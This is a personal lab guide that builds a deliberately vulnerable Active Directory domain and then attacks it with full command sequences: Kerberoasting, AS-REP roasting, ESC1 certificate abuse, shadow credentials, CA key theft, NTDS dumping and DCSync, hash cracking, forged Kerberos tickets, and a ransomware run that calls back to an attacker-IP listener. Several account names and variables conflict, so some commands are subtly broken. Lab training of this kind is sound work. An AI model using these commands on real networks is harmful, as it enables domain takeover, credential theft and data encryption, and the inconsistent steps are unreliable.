These are some notes describing how to build a deliberately vulnerable Active Directory test lab to test some well-known misconfigurations or exploits. I might expand on this later…
|
ℹ️
|
This is nothing new, most of this stuff can be easily found on the Internet. This is just for my own reference. Please excuse my brevity. |
This article assumes a Windows Server 2022 system (VM), and a non domain joined Linux system (VM) with pentesting tools such as impacket and certipy.
The Windows Server we’ll configure with some (well-known) vulnerabilities. Some are weaknesses (e.g. deprecated protocols); others are misconfigurations (objects, certificate templates, etc.). And the Linux system is where we’ll be launching our attacks from.
Configuration
After installing Windows Server 2022, promote it to DC in a new forest:
C:\> Install-WindowsFeature AD-Domain-Services –IncludeManagementTools -Verbose
C:\> $SafeModePwd = ConvertTo-SecureString "P@ssw0rd01!" -AsPlainText -Force
C:\> Install-ADDSForest `
-DomainName "corp.local" `
-DomainNetbiosName "CORP" `
-ForestMode "WinThreshold" `
-DomainMode "WinThreshold" `
-SafeModeAdministratorPassword $SafeModePwd `
-InstallDNS `
-ForceCreate some OUs:
C:\> Import-Module ActiveDirectory
C:\> New-ADOrganizationalUnit -Name "Corp" `
-Path "DC=corp,DC=local"
C:\> New-ADOrganizationalUnit -Name "Accounts" `
-Path "OU=Corp,DC=corp,DC=local"
C:\> New-ADOrganizationalUnit -Name "Employee Accounts" `
-Path "OU=Accounts,OU=Corp,DC=corp,DC=local"
C:\> New-ADOrganizationalUnit -Name "DA Accounts" `
-Path "OU=Accounts,OU=Corp,DC=corp,DC=local"
C:\> New-ADOrganizationalUnit -Name "Service Accounts" `
-Path "OU=Accounts,OU=Corp,DC=corp,DC=local"Create a Regular user:
C:\> $Password = ConvertTo-SecureString "Winter2025!" -AsPlainText -Force
C:\> New-ADUser `
-Name "Gijsbert" `
-SamAccountName co010001 `
-AccountPassword $Password `
-Enabled $true `
-PasswordNeverExpires $true `
-Path "OU=Employee Accounts,OU=Accounts,OU=Corp,DC=corp,DC=local"Create a Domain Admin:
C:\> $Password = ConvertTo-SecureString "$up3r$3cr3t!" -AsPlainText -Force
C:\> New-ADUser `
-Name "DA Wilbert" `
-SamAccountName da030001 `
-AccountPassword $Password `
-Enabled $true `
-PasswordNeverExpires $true `
-Path "OU=DA Accounts,OU=Accounts,OU=Corp,DC=corp,DC=local"
C:\> Add-ADGroupMember -Identity "Domain Admins" -Members da030001Create Kerberoastable service account, with Domain Admin membership:
C:\> $Password = ConvertTo-SecureString "M3g@$3cr3t!" -AsPlainText -Force
C:\> New-ADUser `
-Name "srvc_www" `
-SamAccountName srvc_legacy `
-AccountPassword $Password `
-Enabled $true `
-PasswordNeverExpires $true `
-Path "OU=Service Accounts,OU=Accounts,OU=Corp,DC=corp,DC=local"
C:\> Set-ADUser corplink `
-ServicePrincipalNames @{Add="http/www01.corp.local"}Create ASREProastable service account, with Account Operators membership:
C:\> $Password = ConvertTo-SecureString "Ultr@$3cr3t!" -AsPlainText -Force
C:\> New-ADUser `
-Name "srvc_legacy" `
-SamAccountName srvc_legacy `
-AccountPassword $Password `
-Enabled $true `
-PasswordNeverExpires $true `
-Path "OU=Service Accounts,OU=Accounts,OU=Corp,DC=corp,DC=local"
C:\> Set-ADAccountControl corplink -DoesNotRequirePreAuth $true
C:\> Add-ADGroupMember -Identity "Account Operators" -Members srvc_legacyAdd an AD CS root CA:
C:\> Install-WindowsFeature ADCS-Cert-Authority -IncludeManagementTools
C:\> Install-AdcsCertificationAuthority `
-CAType EnterpriseRootCA `
-CACommonName "CORPROOTCA" `
-KeyLength 2048 `
-HashAlgorithm SHA256 `
-CryptoProviderName "RSA#Microsoft Software Key Storage Provider"
-ForceAdd PKINIT and LDAPS:
Open certtmpl.msc, and duplicate the Kerberos Authentication template.
On the General tab, rename the Template display name to LDAPS+PKINIT Template, and enable the option Publish certificate in Active Directory.
On the Request Handling tab, enable the option Allow private key to be exported.
On the Subject Name tab, enable the option Build from this Active Directory information, and enable the option DNS name.
Open certsrv.msc, browse to Certificate Templates, and go to Action → New → Certificate Template to Issue, and select the LDAPS+PKINIT Template.
Open certlm.msc, browse to Personal → Certificates, and got to Action → All Tasks → Request New Certificate, and request a new certificate from the template LDAPS+PKINIT Template.
Create and publish ESC1 vulnerable template:
Open certtmpl.msc, and duplicate the User template.
On the General tab, rename the Template display name to ESC1 Template.
On the Subject Name tab, enable the option Supply in the request.
On the Security tab, add the Enroll permission to Domain Users.
Open certsrv.msc, browse to Certificate Templates, and go to Action → New → Certificate Template to Issue, and select the ESC1 Template.
Back to the Linux system, initialise some key environment variables:
user $ set win_domain corp.local
user $ set dc_ip (dig +short dc01.corp.local)
user $ set dc_fqdn dc01.{$win_domain}
user $ set regular_user_account co040001
user $ set regular_user_passwd Winter2025!
user $ set privileged_service_account srvc_www
user $ set privileged_user_account da030001|
ℹ️
|
This assumes the Fish shell, so change accordingly. |
Also make a working directory tree where we’ll be working from:
user $ mkdir -p ~/demo/{files,hashes,rules,wordlists}The files directory we’ll fill with some tools:
user $ git clone https://github.com/JoelGMSec/PSRansom ~/demo/files/PSRansomThe hashes directory we’ll fill with obtained hashes along the way.
The rules directory we’ll fill with some Hashcat rules (e.g. OneRuleRoRuleThemStill, d3ad0ne, etc.)
The wordlists we’ll fill with some dictionaries (e.g. dicts from seclists).
Kerberoasting
user $ GetUserSPNs.py "$win_domain/$regular_user_account:$regular_user_passwd" -dc-ip {$dc_ip}
[...]
user $ set privileged_service_spn http/www01.corp.local
user $ GetUserSPNs.py "$win_domain/$regular_user_account:$regular_user_passwd" -dc-ip {$dc_ip} -request | tail -n 1 > ~/demo/hashes/kerberoast.txt
user $ cat ~/demo/hashes/kerberoast.txt
[...]
user $ hashcat -O -m 13100 -w 3 -a 0 --session=rule -o ~/demo/cracked.out --outfile-format=3 ~/demo/hashes/kerberoast.txt ~/demo/wordlists/dict.txt --potfile-path ~/demo/hashcat.pot -r ~/demo/rules/leetspeak.rule -r ~/demo/rules/OneRuleToRuleThemStill.rule
[...]
user $ cat ~/demo/hashcat.pot
[...]ASREProasting
user $ GetNPUsers.py "$win_domain/$regular_user_account:$regular_user_passwd" -dc-ip {$dc_ip}
[...]
user $ GetNPUsers.py "$win_domain/$regular_user_account:$regular_user_passwd" -dc-ip {$dc_ip} -request | tail -n 1 > ~/demo/hashes/asreproast.txt
user $ cat ~/demo/hashes/asreproast.txt
[...]
user $ hashcat -O -m 18200 -w 3 -a 0 --session=rule -o ~/demo/cracked.out --outfile-format=3 ~/demo/hashes/asreproast.txt ~/demo/wordlists/dict.txt --potfile-path ~/demo/hashcat.pot -r ~/demo/rules/leetspeak.rule -r ~/demo/rules/OneRuleToRuleThemStill.rule
[...]
user $ cat ~/demo/hashcat.pot
[...]ESC1
user $ certipy find -u {$regular_user_account} -p "$regular_user_passwd" -dc-ip {$dc_ip} -vulnerable -stdout
[...]
user $ set adcs_ca CORPROOTCA
user $ set adcs_vuln_template ESC1Template
user $ ldapsearch -x \
-D {$regular_user_account}@{$win_domain} \
-w "$regular_user_passwd" \
-b dc=(string replace -a '.' ',dc=' -- (string lower -- $win_domain)) \
-s sub "sAMAccountName=$privileged_user_account" \
-H ldap://{$dc_ip} ObjectSID
[...]
user $ fish ~/demo/sid.fish AQUAAAAAAAUVAAAAWmol18oEvZwwCQVsVAQAAA==
S-1-5-21-xxxxxxxxxx-xxxxxxxxxx-xxxxxxxxxx-yyyy
user $ set win_domain_sid S-1-5-21-xxxxxxxxxx-xxxxxxxxxx-xxxxxxxxxx
user $ set privileged_user_rid yyyy
user $ set privileged_user_sid {$win_domain_sid}-{$privileged_user_rid}
user $ certipy req \
-u {$regular_user_account} \
-p "$regular_user_passwd" \
-dc-ip {$dc_ip} \
-target {$dc_fqdn} \
-ca {$adcs_ca} \
-template {$adcs_vuln_template} \
-upn {$privileged_user_account}@{$win_domain} \
-sid {$privileged_user_sid}
[...]
user $ certipy auth -pfx ~/demo/{$privileged_user_account}.pfx -domain {$win_domain} -dc-ip {$dc_ip}
[...]
user $ set privileged_user_hash xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxNow we can try logging in with the obtained NT hash, for example with evil-winrm-py:
user $ ewp -i {$dc_ip} -u {$privileged_user_account} -H {$privileged_user_hash}Or using the obtained ccache ticket, for example with NetExec, or Impacket:
user $ export KRB5CCNAME={$privileged_user_account}.ccache
user $ klist
[...]
user $ nxc wmi {$dc_ip} --use-kcache --kdcHost {$dc_ip} -x whoami
[...]
user $ smbclient.py -k -no-pass -dc-ip {$dc_ip} -target-ip {$dc_ip} {$win_domain}/{$privileged_user_account}@{$dc_fqdn}You can authenticate with the PFX from certipy to gain a new TGT, or use Impacket via the obtained NT hash (less stealthy):
user $ getTGT.py {$win_domain}/{$privileged_user_account} -hashes :{$privileged_user_hash} -dc-ip {$dc_ip}Shadow Credential
user $ certipy shadow \
-k \
-no-pass \
-dc-ip {$dc_ip} \
-target {$dc_fqdn} \
-dc-host {$dc_fqdn} \
-account {$privileged_user_account} \
-out {$privileged_user_account}_shadow.pfx \
add
[...]
user $ certipy auth \
-dc-ip {$dc_ip} \
-pfx {$privileged_user_account}_shadow.pfx \
-username {$privileged_user_account} \
-domain {$win_domain}Golden Certificate
With obtained DA credentials we can steal the AD CS CA key, and forge our own Golden Tickets.
|
ℹ️
|
A compromised AD CS CA key has a profound impact (persistent domain compromise, unlimited lateral movement, code signing, etc.). Mitigation involves recreating a brand new CA key, and then re-signing all issued certificates at best, but practically dictates rebuilding the entire domain as all trust is broken at this point. This is a monumental and arduous task. |
user $ certipy ca -backup -ca {$adcs_ca} -username {$privileged_user_account} -target-ip {$dc_ip} -hashes {$privileged_user_hash}
user $ openssl pkcs12 -in ~/demo/{$privileged_user_account}.pfx -info -nokeys -clcerts 2>/dev/null | sed -n '/-----BEGIN CERTIFICATE-----/,/-----END CERTIFICATE-----/p' | openssl x509 -text -noout
[...]
user $ set adcs_crl 'ldap:///CN=CORPROOTCA,CN=dc01,CN=CDP,CN=Public%20Key%20Services,CN=Services,CN=Configuration,DC=corp,DC=local?certificateRevocationList?base?objectClass=cRLDistributionPoint'
user $ certipy forge -ca-pfx {$adcs_ca}.pfx -upn {$privileged_user_account}@{$win_domain} -sid {$privileged_user_sid} -crl 'ldap:///CN=CORPROOTCA(1),CN=dc01,CN=CDP,CN=Public%20Key%20Services,CN=Services,CN=Configuration,DC=corp,DC=local?certificateRevocationList?base?objectClass=cRLDistributionPoint'`
user $ certipy auth -pfx ~/demo/{$privileged_user_account}_forged.pfx -domain {$win_domain} -dc-ip {$dc_ip}
[...]Dumping NTDS
LotL
Assuming Evil-WinRM{,-py} for the download cmd:
C:\> ntdsutil "ac i ntds" "ifm" "create full c:\extract" quit quit
C:\> Compress-Archive c:\extract c:\extract.zip
C:\> download c:\extract.zip hashes
C:\> rm c:\extract.zip
C:\> rm -recurse c:\extract
C:\> exit
user $ unzip extract.zip -d hashes
user $ rm extract.zip
user $ secretsdump.py \
-system extract/registry/SYSTEM \
-ntds extract/Active\ Directory/ntds.dit \
-history LOCAL > ntds.txtDCSync via secretsdump.py
user $ secretsdump.py \
-k \
-no-pass \
-outputfile hashes/dcsync \
-dc-ip {$dc_ip} \
@{$dc_fqdn} \
-just-dcNetExec
user $ nxc smb {$dc_ip} --use-kcache --kdcHost {$dc_ip} --ntds --history --kerberos-keysCracking
user $ hashcat -m 1000 \
-w 3 \
-a 0 \
-p : \
--session=audit \
--username \
-o ~/demo/cracked.out \
--outfile-format=3 \
--potfile-path ~/demo/hashcat.pot \
~/demo/hashes/dcsync.ntds \
~/demo/wordlists/dict.txt \
-r ~/demo/rules/leetspeak.rule \
-r ~/demo/rules/OneRuleToRuleThemStill.rulePrinting Silver / Golden / Diamond / Sapphire Tickets
user $ rg 'krbtgt|srvc_www' hashes/dcsync.ntds.kerberos
user $ rg krbtgt hashes/dcsync.ntdsuser $ set srvc_www_aeskey b48003f106074c70b650fdceb7d6001e1da874c816539dd36d70bf30c9e338e7
user $ set krbtgt_aeskey a31ab95776353f9c0dca3d4f83fd99fb918005ac1507ee447c430ce444374aee
user $ set krbtgt_nthash eb06a6dbfa8a7b45c84c10a0f9454a75Silver Ticket
Using the computer account’s AES key of which its hostname is part of the SPN:
user $ ticketer.py \
-aesKey {$corplink_aeskey} \
-domain-sid {$win_domain_sid} \
-domain {$win_domain} \
-spn {$privileged_service_spn} \
{$privileged_service_account}|
ℹ️
|
The above only works when logging on the machine which the SPN points to. |
Golden Ticket
Using the KRBTGT AES key (e.g. the aes256-cts-hmac-sha1-96 value of krbtgt in the secretsdump.py output):
user $ ticketer.py \
-aesKey {$krbtgt_aeskey} \
-domain-sid {$win_domain_sid} \
-domain {$win_domain} \
-user-id {$privileged_user_rid} \
{$privileged_user_account}Diamond Ticket
user $ ticketer.py \
-dc-ip {$dc_ip} \
-request -domain {$win_domain} \
-user {$regular_user_account} \
-password "$regular_user_passwd" \
-aesKey {$krbtgt_aeskey} \
-domain-sid {$win_domain_sid} \
-user-id {$privileged_user_rid} \
{$privileged_user_account}|
ℹ️
|
A Diamond Ticket first requests a normal ticket via a low privileged user (i.e. the -user and -password arguments and values).
It then decrypts the PAC, modifies the PAC, recalculates the signatures, and encrypts the PAC again.
|
Sapphire Ticket
user $ ticketer.py \
-dc-ip {$dc_ip} \
-request \
-impersonate {$privileged_user_account} \
-domain {$win_domain} \
-user {$regular_user_account} \
-password "$regular_user_passwd" \
-nthash {$krbtgt_nthash} \
-aesKey {$krbtgt_aeskey} \
-domain-sid {$win_domain_sid} \
-user-id {$privileged_user_rid} \
{$privileged_user_account}|
ℹ️
|
A Sapphire Ticket avoids forging the PAC (as is the case with Diamond Tickets), and instead uses a real privileged user’s PAC (stealthier) via S4U2self+u2u. |
Login using the ticket (-k and -no-pass will use the above ticket referred to by the environment variable):
user $ smbclient.py -k -no-pass -dc-ip {$dc_ip} -target-ip {$dc_ip} \
{$win_domain}/{$privileged_user_account}@{$dc_fqdn}Ransomware Simulation
First, start the listener on the Linux system:
user $ pwsh ~/demo/files/PSRansom/C2Server.ps1 + 8080Then login and execute the ransomware simulation.
This assumes Evil-WinRM{,-py} for the upload cmd):
user $ ewp -i {$dc_ip} -u {$privileged_user_account} -H {$privileged_user_hash}
C:\> upload ~/demo/files/PSRansom/PSRansom.ps1 .
C:\> powershell .\PSRansom.ps1 -e Gevoelig -s {$attacker_ip} -p 8080 -x
C:\> powershell .\PSRansom.ps1 -d Gevoelig -k O5LtxgPBWCNHS0yseviG8DV6